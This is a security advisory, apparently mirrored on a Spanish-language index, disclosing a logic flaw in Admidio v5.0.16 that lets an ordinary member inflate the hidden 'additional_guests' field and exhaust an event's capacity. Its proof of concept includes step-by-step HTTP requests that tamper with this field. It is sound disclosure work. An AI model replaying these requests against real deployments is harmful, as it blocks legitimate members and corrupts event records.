GHSA-92G9-59RR-C3QG
Business logic flaw allows members to bypass guest restrictions and exhaust event capacity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-92G9-59RR-C3QG divulgada · CVSS 4.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
In Admidio v5.0.16, an ordinary Member can submit `additional_guests` even when Participants can register anonymous guests is disabled. The server trusts this hidden form value and counts it against the event limit. I confirmed that one Member can fill a three-seat event and prevent another Member from registering.
Details
Endpoint:
POST /modules/events/events_function.php?dat_uuid=<EVENT_UUID>&user_uuid=<CURRENT_USER_UUID>&mode=participateAffected parameter: `additional_guests`
When guest registration is disabled, the participation form still contains `additional_guests` as a hidden input:
- `events_participation.php` lines 56-92
https://github.com/Admidio/admidio/blob/9de058fd429c8c66c2f0deac878d0369d07cf13c/modules/events/events_participation.php#L56-L92
The participation handler then uses this client-supplied value for the capacity calculation and stores it as `mem_count_guests` without checking `dat_additional_guests`:
- `events_function.php` lines 417-462
https://github.com/Admidio/admidio/blob/9de058fd429c8c66c2f0deac878d0369d07cf13c/modules/events/events_function.php#L417-L462
Proof of Concept
Test Setup
- Attacker: `alice / Alice123!` — ordinary Member
- Victim check: `bob / Bob1234!` — ordinary Member
- Event: `PoC Workshop`, maximum participants `3`, guest registration disabled
- Local target: `http://127.0.0.1:9594`
Steps to Reproduce
- Log in as Alice and open Events → PoC Workshop. The page shows `Members 0` and no guest input.
<img width="1282" height="944" alt="01-alice-before-members-0" src="https://github.com/user-attachments/assets/f81e33fa-2a7f-483a-9f9b-e7d6576460d9" />
- Enable Burp Intercept and click `Participate?`. The normal participation request already contains the event UUID, Alice's own UUID, and the hidden field `additional_guests=0`; no RSS or database lookup is needed. Send it to Repeater and change only that field to `100000` (session and CSRF values are redacted):
POST /modules/events/events_function.php?dat_uuid=a189b16c-792d-4174-a1de-df7b11aaed96&user_uuid=1b64bccd-1fa9-4dc6-a6a7-226fedd3f62a&mode=participate HTTP/1.1
Host: 127.0.0.1:9594
Cookie: ADMIDIO_admidio_adm_SESSION_ID=<REDACTED>
Content-Type: multipart/form-data; boundary=<BOUNDARY>
--<BOUNDARY>
Content-Disposition: form-data; name="adm_csrf_token"
<REDACTED>
--<BOUNDARY>
Content-Disposition: form-data; name="additional_guests"
100000
--<BOUNDARY>--3. The server returns HTTP 200 with an outer `status: success`, but the message says the change failed and discloses `Max. participants: 3`.
<img width="988" height="295" alt="02-limit-disclosure-response" src="https://github.com/user-attachments/assets/03a6e6ad-e2c8-4862-b331-817e24eeb0a9" />
This failed probe creates an Alice membership with zero guests, so a direct retry with `2` fails the strict capacity check. First send the same form to `mode=participate_cancel` with `additional_guests=0`, or restore the clean fixture, and verify `Members 0`.
- Open a fresh participation form. Before the first participation request reaches the server, change only the observed `additional_guests` field from `0` to `2`:
POST /modules/events/events_function.php?dat_uuid=a189b16c-792d-4174-a1de-df7b11aaed96&user_uuid=1b64bccd-1fa9-4dc6-a6a7-226fedd3f62a&mode=participate HTTP/1.1
Host: 127.0.0.1:9594
Cookie: ADMIDIO_admidio_adm_SESSION_ID=<REDACTED>
Content-Type: multipart/form-data; boundary=<BOUNDARY>
--<BOUNDARY>
Content-Disposition: form-data; name="adm_csrf_token"
<REDACTED>
--<BOUNDARY>
Content-Disposition: form-data; name="dat_comment"
--<BOUNDARY>
Content-Disposition: form-data; name="additional_guests"
2
--<BOUNDARY>--- The response confirms registration:
{"status":"success","message":"You signed up for the event <strong>PoC Workshop</strong> on 11.10.2026 16:00."}- Alice now sees `Members 3` and `I take part`, although Alice is the only registered account.
<img width="1273" height="855" alt="03-alice-after-members-3" src="https://github.com/user-attachments/assets/45b8ed68-529b-46f7-adbd-929db4ec9345" />
- Log in as Bob. The same event shows `Members 3` and `Registration is closed`.
<img width="1277" height="872" alt="04-bob-registration-closed" src="https://github.com/user-attachments/assets/399bbf1d-9fd0-4f98-a633-2ca14a2b9545" />
Impact
Any ordinary Member who is eligible for an event can bypass the organizer's guest policy and consume the remaining capacity. This blocks other Members from registering and corrupts the event's participant count. The attack requires only the Member's own session, CSRF token, UUID, and a single modified request.
Find by TokenManiZo https://github.com/TokenManiZo
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Estado del parche por paquete
La fuente no informa paquetes ni versiones corregidas.
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Admidio/admidio/security/advisories/GHSA-92g9-59rr-c3qgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
